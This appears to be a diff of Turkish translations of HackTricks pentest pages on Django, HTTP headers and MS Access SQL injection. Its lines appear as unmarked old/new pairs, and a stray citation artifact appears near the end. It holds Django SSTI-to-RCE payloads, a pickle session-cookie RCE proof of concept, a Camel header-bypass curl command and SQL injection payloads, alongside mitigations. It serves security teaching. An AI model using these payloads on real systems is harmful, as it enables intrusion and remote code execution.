Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu bilgilerinin uygulamaya göre değişeceğini belirtmek önemlidir.
|
Django önbelleği dört yerden birinde saklanır: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [bellek](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [dosyalar](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16) veya bir [veritabanı](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Redis sunucusunda veya veritabanında saklanan önbellek, en olası saldırı vektörleridir (Redis enjeksiyonu ve SQL enjeksiyonu), ancak bir saldırgan dosya tabanlı önbelleği kullanarak keyfi bir yazmayı RCE'ye dönüştürebilir. Bakımcılar bunu bir sorun olarak işaretlemiştir. Önbellek dosyası klasörünün, SQL tablo adının ve Redis sunucu bilgilerinin uygulamaya göre değişeceğini belirtmek önemlidir.
|
||||||
|
|
||||||
@ -12,17 +12,17 @@ Bu HackerOne raporu, SQLite veritabanında saklanan Django önbelleğini istisma
|
|||||||
---
|
---
|
||||||
|
|
||||||
## Sunucu Tarafı Şablon Enjeksiyonu (SSTI)
|
## Sunucu Tarafı Şablon Enjeksiyonu (SSTI)
|
||||||
Django Şablon Dili (DTL) **Turing-tamamlayıcıdır**. Kullanıcı tarafından sağlanan veriler bir *şablon dizesi* olarak işlenirse (örneğin `Template(user_input).render()` çağrılarak veya `|safe`/`format_html()` otomatik kaçışları kaldırdığında), bir saldırgan tam SSTI → RCE elde edebilir.
|
Django Şablon Dili (DTL) **Turing-tamamlayıcıdır**. Kullanıcıdan sağlanan veriler bir *şablon dizesi* olarak işlenirse (örneğin `Template(user_input).render()` çağrılarak veya `|safe`/`format_html()` otomatik kaçışları kaldırdığında), bir saldırgan tam SSTI → RCE elde edebilir.
|
||||||
|
|
||||||
### Tespit
|
### Tespit
|
||||||
1. *Herhangi* bir temizlenmemiş istek verisini içeren `Template()` / `Engine.from_string()` / `render_to_string()` için dinamik çağrılar arayın.
|
1. *Herhangi* bir temizlenmemiş istek verisini içeren `Template()` / `Engine.from_string()` / `render_to_string()` için dinamik çağrılara bakın.
|
||||||
2. Zaman tabanlı veya aritmetik bir yük gönderin:
|
2. Zaman tabanlı veya aritmetik bir yük gönderin:
|
||||||
```django
|
```django
|
||||||
{{7*7}}
|
{{7*7}}
|
||||||
```
|
```
|
||||||
Eğer işlenen çıktı `49` içeriyorsa, giriş şablon motoru tarafından derlenmiştir.
|
Eğer işlenmiş çıktı `49` içeriyorsa, girdi şablon motoru tarafından derlenmiştir.
|
||||||
|
|
||||||
### RCE'ye Giden Yolda
|
### RCE'ye Giden Yolda Primitif
|
||||||
Django, `__import__`'a doğrudan erişimi engeller, ancak Python nesne grafiğine erişim mümkündür:
|
Django, `__import__`'a doğrudan erişimi engeller, ancak Python nesne grafiğine erişim mümkündür:
|
||||||
```django
|
```django
|
||||||
{{''.__class__.mro()[1].__subclasses__()}}
|
{{''.__class__.mro()[1].__subclasses__()}}
|
||||||
@ -31,20 +31,20 @@ Django, `__import__`'a doğrudan erişimi engeller, ancak Python nesne grafiğin
|
|||||||
```django
|
```django
|
||||||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||||||
```
|
```
|
||||||
Daha güvenli evrensel bir alet, `cls.__name__ == 'Popen'` olana kadar yinelemektir.
|
Daha güvenli bir evrensel alet, `cls.__name__ == 'Popen'` olana kadar yinelemektir.
|
||||||
|
|
||||||
Aynı alet, kullanıcı girişini yanlış işleyen **Debug Toolbar** veya **Django-CMS** şablon render özellikleri için de çalışır.
|
Aynı alet, kullanıcı girişini yanlış işleyen **Debug Toolbar** veya **Django-CMS** şablon render özellikleri için de çalışır.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Pickle Destekli Oturum Çerezi RCE
|
## Pickle-Backed Session Cookie RCE
|
||||||
Eğer `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` ayarı etkinleştirilmişse (veya pickle'ı deseralize eden özel bir serileştirici), Django *oturum çerezini şifre çözer ve pickle'dan çıkarır* **herhangi bir görünüm kodunu çağırmadan önce**. Bu nedenle, geçerli bir imzalama anahtarına (varsayılan olarak projenin `SECRET_KEY`'i) sahip olmak, anında uzaktan kod yürütme için yeterlidir.
|
Eğer `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` ayarı etkinleştirilmişse (veya pickle'ı deseralize eden özel bir serileştirici), Django *oturum çerezini şifre çözer ve pickle'dan çıkarır* **herhangi bir görünüm kodunu çağırmadan önce**. Bu nedenle, geçerli bir imzalama anahtarına (varsayılan olarak proje `SECRET_KEY`) sahip olmak, anında uzaktan kod yürütme için yeterlidir.
|
||||||
|
|
||||||
### Sömürü Gereksinimleri
|
### Exploit Gereksinimleri
|
||||||
* Sunucu `PickleSerializer` kullanıyor.
|
* Sunucu `PickleSerializer` kullanıyor.
|
||||||
* Saldırgan `settings.SECRET_KEY`'yi biliyor / tahmin edebiliyor (GitHub, `.env`, hata sayfaları vb. üzerinden sızıntılar).
|
* Saldırgan `settings.SECRET_KEY`'yi biliyor / tahmin edebiliyor (GitHub, `.env`, hata sayfaları vb. üzerinden sızıntılar).
|
||||||
|
|
||||||
### Kanıt-of-Kavram
|
### Kanıt-Konsept
|
||||||
```python
|
```python
|
||||||
#!/usr/bin/env python3
|
#!/usr/bin/env python3
|
||||||
from django.contrib.sessions.serializers import PickleSerializer
|
from django.contrib.sessions.serializers import PickleSerializer
|
||||||
@ -58,15 +58,15 @@ return (os.system, ("id > /tmp/pwned",))
|
|||||||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||||||
print(f"sessionid={mal}")
|
print(f"sessionid={mal}")
|
||||||
```
|
```
|
||||||
Gönderilen çerezi, yükleme WSGI işçi izinleriyle çalışır.
|
Gönderilen çerez, WSGI işçi izinleriyle çalıştırılır.
|
||||||
|
|
||||||
**Önlemler**: Varsayılan `JSONSerializer`'ı koruyun, `SECRET_KEY`'i döndürün ve `SESSION_COOKIE_HTTPONLY`'yi yapılandırın.
|
**Önlemler**: Varsayılan `JSONSerializer`'ı koruyun, `SECRET_KEY`'i döndürün ve `SESSION_COOKIE_HTTPONLY`'yi yapılandırın.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Son (2023-2025) Yüksek Etkili Django CVE'leri Pentester'ların Kontrol Etmesi Gerekenler
|
## Son (2023-2025) Yüksek Etkili Django CVE'leri Pentester'ların Kontrol Etmesi Gerekenler
|
||||||
* **CVE-2025-48432** – *Kaçırılmamış `request.path` üzerinden Log Enjeksiyonu* (4 Haziran 2025'te düzeltildi). Saldırganların log dosyalarına yeni satırlar/ANSI kodları sokmasına ve aşağı akış log analizini zehirlemesine olanak tanır. Yamanın seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
* **CVE-2025-48432** – *Kaçırılmamış `request.path` üzerinden Log Enjeksiyonu* (4 Haziran 2025'te düzeltildi). Saldırganların yeni satırları/ANSI kodlarını log dosyalarına sokmasına ve aşağı akış log analizini zehirlemesine olanak tanır. Yamanın seviyesi ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||||
* **CVE-2024-42005** – *Kritik SQL enjeksiyonu* `QuerySet.values()/values_list()` üzerinde `JSONField`'da (CVSS 9.8). JSON anahtarlarını, alıntıdan çıkmak ve keyfi SQL çalıştırmak için oluşturun. 4.2.15 / 5.0.8'de düzeltildi.
|
* **CVE-2024-42005** – *Kritik SQL enjeksiyonu* `QuerySet.values()/values_list()` üzerinde `JSONField`'da (CVSS 9.8). JSON anahtarlarını, alıntıdan çıkmak ve rastgele SQL çalıştırmak için oluşturun. 4.2.15 / 5.0.8'de düzeltildi.
|
||||||
|
|
||||||
Her zaman `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash'i aracılığıyla tam çerçeve sürümünü parmak izi ile belirleyin ve yukarıdakileri uygun olduğunda test edin.
|
Her zaman `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash'i aracılığıyla tam çerçeve sürümünü parmak izi ile belirleyin ve yukarıdakileri uygun olduğunda test edin.
|
||||||
|
|
||||||
@ -76,4 +76,4 @@ Her zaman `X-Frame-Options` hata sayfası veya `/static/admin/css/base.css` hash
|
|||||||
* Django güvenlik sürümü – "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432'yi ele alıyor" – 4 Haziran 2025.
|
* Django güvenlik sürümü – "Django 5.2.2, 5.1.10, 4.2.22 CVE-2025-48432'yi ele alıyor" – 4 Haziran 2025.
|
||||||
* OP-Innovate: "Django, SQL enjeksiyon açığını gidermek için güvenlik güncellemeleri yayınladı CVE-2024-42005" – 11 Ağustos 2024.
|
* OP-Innovate: "Django, SQL enjeksiyon açığını gidermek için güvenlik güncellemeleri yayınladı CVE-2024-42005" – 11 Ağustos 2024.
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
{{#include /src/banners/hacktricks-training.md}}
|
||||||
|
|||||||
@ -35,7 +35,7 @@
|
|||||||
|
|
||||||
## Hop-by-Hop başlıkları
|
## Hop-by-Hop başlıkları
|
||||||
|
|
||||||
Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketilmek üzere tasarlanmış bir başlıktır, uçtan uca başlık yerine.
|
Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketilmek üzere tasarlanmış bir başlıktır, uçtan uca başlıkların aksine.
|
||||||
|
|
||||||
- `Connection: close, X-Forwarded-For`
|
- `Connection: close, X-Forwarded-For`
|
||||||
|
|
||||||
@ -59,7 +59,7 @@ Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketil
|
|||||||
- **`X-Cache`** yanıtında, istek önbelleğe alınmadığında **`miss`** değeri ve önbelleğe alındığında **`hit`** değeri olabilir.
|
- **`X-Cache`** yanıtında, istek önbelleğe alınmadığında **`miss`** değeri ve önbelleğe alındığında **`hit`** değeri olabilir.
|
||||||
- **`Cf-Cache-Status`** başlığında benzer bir davranış.
|
- **`Cf-Cache-Status`** başlığında benzer bir davranış.
|
||||||
- **`Cache-Control`** bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki önbelleğe alma zamanını belirtir: `Cache-Control: public, max-age=1800`
|
- **`Cache-Control`** bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki önbelleğe alma zamanını belirtir: `Cache-Control: public, max-age=1800`
|
||||||
- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıkların** önbellek anahtarı olarak kabul edildiğini belirtmek için kullanılır.
|
- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan ek başlıkların **önbellek anahtarının** bir parçası olarak ele alındığını belirtmek için kullanılır.
|
||||||
- **`Age`** nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
|
- **`Age`** nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar.
|
||||||
- **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın önbelleğe alındığını gösterir.
|
- **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın önbelleğe alındığını gösterir.
|
||||||
|
|
||||||
@ -76,8 +76,8 @@ Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketil
|
|||||||
|
|
||||||
## Koşullu İstekler
|
## Koşullu İstekler
|
||||||
|
|
||||||
- **`If-Modified-Since`** ve **`If-Unmodified-Since`** başlıklarını kullanan istekler, yalnızca yanıt başlığı **`Last-Modified`** farklı bir zaman içeriyorsa veri ile yanıtlanır.
|
- Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`** yalnızca yanıt başlığı **`Last-Modified`** farklı bir zaman içeriyorsa veri ile yanıtlanır.
|
||||||
- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun veri (Etag) değiştiğinde yanıt içeriğini göndermesini sağlamak için bir Etag değeri kullanır. `Etag`, HTTP yanıtından alınır.
|
- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun verinin (Etag) değişip değişmediğini kontrol etmesi için bir Etag değeri kullanır. `Etag`, HTTP yanıtından alınır.
|
||||||
- **Etag** değeri genellikle yanıtın **içeriğine** dayalı olarak **hesaplanır**. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'ın **37 bayt**'ın **Sha1**'ı olduğunu gösterir.
|
- **Etag** değeri genellikle yanıtın **içeriğine** dayalı olarak **hesaplanır**. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'ın **37 bayt**'ın **Sha1**'ı olduğunu gösterir.
|
||||||
|
|
||||||
## Aralık İstekleri
|
## Aralık İstekleri
|
||||||
@ -85,8 +85,8 @@ Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketil
|
|||||||
- **`Accept-Ranges`**: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir. `Accept-Ranges: <range-unit>`
|
- **`Accept-Ranges`**: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir. `Accept-Ranges: <range-unit>`
|
||||||
- **`Range`**: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın.
|
- **`Range`**: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın.
|
||||||
- Bu, aksi takdirde kaçırılabilecek rastgele yansıtılmış javascript kodu ile bir yanıt almak için yararlı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir.
|
- Bu, aksi takdirde kaçırılabilecek rastgele yansıtılmış javascript kodu ile bir yanıt almak için yararlı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir.
|
||||||
- **`If-Range`**: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Uyuşmaz versiyonlardan iki aralığın indirilmesini önlemek için kullanılır.
|
- **`If-Range`**: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Kaynağın uyumsuz sürümlerinden iki aralığın indirilmesini önlemek için kullanılır.
|
||||||
- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nerede bulunduğunu belirtir.
|
- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nereye ait olduğunu belirtir.
|
||||||
|
|
||||||
## Mesaj gövdesi bilgileri
|
## Mesaj gövdesi bilgileri
|
||||||
|
|
||||||
@ -96,7 +96,7 @@ Hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tüketil
|
|||||||
- **`Content-Language`**: Hedef kitle için tasarlanan insan dili(leri)ni tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre ayırt etmelerine olanak tanır.
|
- **`Content-Language`**: Hedef kitle için tasarlanan insan dili(leri)ni tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre ayırt etmelerine olanak tanır.
|
||||||
- **`Content-Location`**: Döndürülen veriler için alternatif bir konumu belirtir.
|
- **`Content-Location`**: Döndürülen veriler için alternatif bir konumu belirtir.
|
||||||
|
|
||||||
Bir pentest açısından bu bilgi genellikle "işe yaramaz" olarak kabul edilir, ancak kaynak **401** veya **403** ile **korunuyorsa** ve bu **bilgiyi** **almanın** bir **yolunu** bulursanız, bu **ilginç** olabilir.\
|
Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401** veya **403** ile **korunuyorsa** ve bu **bilgiyi** **almanın** bir **yolunu** bulursanız, bu **ilginç** olabilir.\
|
||||||
Örneğin, bir HEAD isteğinde **`Range`** ve **`Etag`** kombinasyonu, HEAD istekleri aracılığıyla sayfanın içeriğini sızdırabilir:
|
Örneğin, bir HEAD isteğinde **`Range`** ve **`Etag`** kombinasyonu, HEAD istekleri aracılığıyla sayfanın içeriğini sızdırabilir:
|
||||||
|
|
||||||
- `Range: bytes=20-20` başlığına sahip bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır.
|
- `Range: bytes=20-20` başlığına sahip bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır.
|
||||||
@ -113,7 +113,7 @@ Bir pentest açısından bu bilgi genellikle "işe yaramaz" olarak kabul edilir,
|
|||||||
|
|
||||||
## İndirmeler
|
## İndirmeler
|
||||||
|
|
||||||
- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek** (indirilen) olarak mı görüntülenmesi gerektiğini yönlendirir. Örneğin:
|
- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek** (indirilmiş) olarak mı görüntülenmesi gerektiğini yönlendirir. Örneğin:
|
||||||
```
|
```
|
||||||
Content-Disposition: attachment; filename="filename.jpg"
|
Content-Disposition: attachment; filename="filename.jpg"
|
||||||
```
|
```
|
||||||
@ -129,7 +129,7 @@ Bu, "filename.jpg" adlı dosyanın indirilip kaydedilmek üzere tasarlandığı
|
|||||||
|
|
||||||
### **Güvenilir Türler**
|
### **Güvenilir Türler**
|
||||||
|
|
||||||
CSP aracılığıyla Güvenilir Türlerin zorunlu kılınması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasını garanti eder, böylece JavaScript kodunu varsayılan olarak güvence altına alır.
|
CSP aracılığıyla Güvenilir Türlerin zorunlu kılınması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasını sağlar ve böylece JavaScript kodunu varsayılan olarak güvence altına alır.
|
||||||
```javascript
|
```javascript
|
||||||
// Feature detection
|
// Feature detection
|
||||||
if (window.trustedTypes && trustedTypes.createPolicy) {
|
if (window.trustedTypes && trustedTypes.createPolicy) {
|
||||||
@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment.
|
|||||||
```
|
```
|
||||||
### **X-Content-Type-Options**
|
### **X-Content-Type-Options**
|
||||||
|
|
||||||
Bu başlık, XSS zafiyetlerine yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar.
|
Bu başlık, XSS güvenlik açıklarına yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar.
|
||||||
```
|
```
|
||||||
X-Content-Type-Options: nosniff
|
X-Content-Type-Options: nosniff
|
||||||
```
|
```
|
||||||
@ -185,8 +185,8 @@ HTTP/1.1, başlık alan adlarını **büyük/küçük harf duyarsız** olarak ta
|
|||||||
|
|
||||||
Bu hatanın ortaya çıktığı tipik durumlar:
|
Bu hatanın ortaya çıktığı tipik durumlar:
|
||||||
|
|
||||||
* İsteğin hassas bir bileşene ulaşmadan önce “tehlikeli” dahili başlıkları engellemeye çalışan özel izin/engelleme listeleri.
|
* İsteğin hassas bir bileşene ulaşmadan önce “tehlikeli” dahili başlıkları engellemeye çalışan özel izin/red listeleri.
|
||||||
* Ters proxy sahte başlıklarının (örneğin, `X-Forwarded-For` sanitizasyonu) şirket içi uygulamaları.
|
* `X-Forwarded-For` sanitizasyonu gibi ters proxy sahte başlıklarının şirket içi uygulamaları.
|
||||||
* Yönetim / hata ayıklama uç noktalarını açan ve kimlik doğrulama veya komut seçimi için başlık adlarına güvenen çerçeveler.
|
* Yönetim / hata ayıklama uç noktalarını açan ve kimlik doğrulama veya komut seçimi için başlık adlarına güvenen çerçeveler.
|
||||||
|
|
||||||
### Abusing the bypass
|
### Abusing the bypass
|
||||||
@ -197,7 +197,7 @@ Bu hatanın ortaya çıktığı tipik durumlar:
|
|||||||
|
|
||||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||||
|
|
||||||
Apache Camel'ın savunmasız sürümlerinde *Command Center* rotaları, güvensiz istekleri engellemeye çalışarak `CamelExecCommandExecutable` ve `CamelExecCommandArgs` başlıklarını kaldırır. Karşılaştırma `equals()` ile yapıldığından, yalnızca tam küçük harfli adlar kaldırılmıştır.
|
Apache Camel'ın savunmasız sürümlerinde *Command Center* rotaları, `CamelExecCommandExecutable` ve `CamelExecCommandArgs` başlıklarını kaldırarak güvenilmeyen istekleri engellemeye çalışır. Karşılaştırma `equals()` ile yapıldığından, yalnızca tam küçük harfli adlar kaldırılmıştır.
|
||||||
```bash
|
```bash
|
||||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||||
curl "http://<IP>/command-center" \
|
curl "http://<IP>/command-center" \
|
||||||
@ -209,7 +209,7 @@ Başlıklar, `exec` bileşenine filtrelenmeden ulaşır ve bu da Camel sürecini
|
|||||||
### Tespit ve Azaltma
|
### Tespit ve Azaltma
|
||||||
|
|
||||||
* Tüm başlık adlarını tek bir duruma (genellikle küçük harf) **önce** izin verme/reddetme karşılaştırmaları yapmadan normalleştirin.
|
* Tüm başlık adlarını tek bir duruma (genellikle küçük harf) **önce** izin verme/reddetme karşılaştırmaları yapmadan normalleştirin.
|
||||||
* Şüpheli tekrarları reddedin: hem `Header:` hem de `HeAdEr:` mevcutsa, bunu bir anomali olarak değerlendirin.
|
* Şüpheli kopyaları reddedin: hem `Header:` hem de `HeAdEr:` mevcutsa, bunu bir anomali olarak değerlendirin.
|
||||||
* Kanonizasyon **sonrası** uygulanan pozitif bir izin listesi kullanın.
|
* Kanonizasyon **sonrası** uygulanan pozitif bir izin listesi kullanın.
|
||||||
* Yönetim uç noktalarını kimlik doğrulama ve ağ segmentasyonu ile koruyun.
|
* Yönetim uç noktalarını kimlik doğrulama ve ağ segmentasyonu ile koruyun.
|
||||||
|
|
||||||
|
|||||||
@ -35,11 +35,11 @@ Desteklenmiyor.
|
|||||||
```sql
|
```sql
|
||||||
1' UNION SELECT TOP 3 attr FROM table%00
|
1' UNION SELECT TOP 3 attr FROM table%00
|
||||||
```
|
```
|
||||||
Just like TOP you can use **`LAST`** which will get the **satırları sonundan**.
|
**`LAST`** kullanarak, **sondan satırları** alabilirsiniz.
|
||||||
|
|
||||||
## UNION Sorguları/Alt sorgular
|
## UNION Sorguları/Alt sorgular
|
||||||
|
|
||||||
Bir SQLi'de genellikle başka tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini** gerektirir.\
|
Bir SQLi'de genellikle diğer tablolardan bilgi çıkarmak için yeni bir sorgu çalıştırmak istersiniz. MS Access her zaman **alt sorgularda veya ek sorgularda bir `FROM` belirtilmesini** gerektirir.\
|
||||||
Bu nedenle, bir `UNION SELECT` veya `UNION ALL SELECT` veya bir koşul içinde parantez içindeki bir `SELECT` çalıştırmak istiyorsanız, her zaman **geçerli bir tablo adı ile bir `FROM` belirtmeniz gerekir**.\
|
Bu nedenle, bir `UNION SELECT` veya `UNION ALL SELECT` veya bir koşul içinde parantez içindeki bir `SELECT` çalıştırmak istiyorsanız, her zaman **geçerli bir tablo adı ile bir `FROM` belirtmeniz gerekir**.\
|
||||||
Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
|
Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
|
||||||
```sql
|
```sql
|
||||||
@ -48,7 +48,7 @@ Bu nedenle, **geçerli bir tablo adını** bilmeniz gerekir.
|
|||||||
### Chaining equals + Substring
|
### Chaining equals + Substring
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Bu, mevcut tablonun değerlerini tablonun adını bilmeden dışa aktarmanıza olanak tanıyacaktır.
|
> Bu, mevcut tablonun değerlerini tablonun adını bilmeden dışa aktarmanıza olanak tanır.
|
||||||
|
|
||||||
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacaktır ve bunu kötüye kullanabiliriz.
|
**MS Access**, **`'1'=2='3'='asd'=false`** gibi **garip sözdizimlerine** izin verir. Genellikle SQL enjeksiyonu bir **`WHERE`** ifadesinin içinde olacaktır ve bunu kötüye kullanabiliriz.
|
||||||
|
|
||||||
@ -68,14 +68,14 @@ Chaining equals tekniğini kullanarak **tablo adlarını brute force** etmek iç
|
|||||||
```sql
|
```sql
|
||||||
'=(select+top+1+'lala'+from+<table_name>)='
|
'=(select+top+1+'lala'+from+<table_name>)='
|
||||||
```
|
```
|
||||||
Aynı zamanda daha geleneksel bir yol da kullanabilirsiniz:
|
Ayrıca daha geleneksel bir yol da kullanabilirsiniz:
|
||||||
```sql
|
```sql
|
||||||
-1' AND (SELECT TOP 1 <table_name>)%00
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
||||||
```
|
```
|
||||||
_Feel free to check this in the online playground._
|
_Feel free to check this in the online playground._
|
||||||
|
|
||||||
- Sqlmap yaygın tablo adları: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
- Sqlmap yaygın tablo adları: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
||||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste var.
|
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html) adresinde başka bir liste bulunmaktadır.
|
||||||
|
|
||||||
### Brute-Forcing Sütun Adları
|
### Brute-Forcing Sütun Adları
|
||||||
|
|
||||||
@ -107,13 +107,13 @@ Jet/ACE SQL kendisi **yerel** bir `SLEEP()` veya `WAITFOR` fonksiyonu sunmamakta
|
|||||||
```sql
|
```sql
|
||||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||||
```
|
```
|
||||||
UNC yolunu şu şekilde ayarlayın:
|
UNC yolunu aşağıdaki gibi ayarlayın:
|
||||||
|
|
||||||
* yüksek gecikme bağlantısı arkasındaki bir SMB paylaşımına
|
* yüksek gecikme bağlantısı arkasındaki bir SMB paylaşımına
|
||||||
* `SYN-ACK` sonrasında TCP el sıkışmasını düşüren bir ana bilgisayara
|
* `SYN-ACK` sonrasında TCP el sıkışmasını düşüren bir ana bilgisayara
|
||||||
* bir güvenlik duvarı sinkhole'una
|
* bir güvenlik duvarı sinkhole'una
|
||||||
|
|
||||||
Uzak arama tarafından eklenen ekstra saniyeler, boolean koşulları için bir **out-of-band zaman kehaneti** olarak kullanılabilir (örneğin, yalnızca enjekte edilen koşul doğru olduğunda yavaş bir yol seçin). Microsoft, uzaktan veritabanı davranışını ve ilgili kayıt defteri kill-switch'ini KB5002984'te belgeler. citeturn1search0
|
Uzak arama tarafından eklenen ekstra saniyeler, boolean koşulları için bir **out-of-band timing oracle** olarak kullanılabilir (örneğin, yalnızca enjekte edilen predikat doğru olduğunda yavaş bir yol seçin). Microsoft, uzaktan veritabanı davranışını ve ilgili kayıt defteri kill-switch'ini KB5002984'te belgeler. citeturn1search0
|
||||||
|
|
||||||
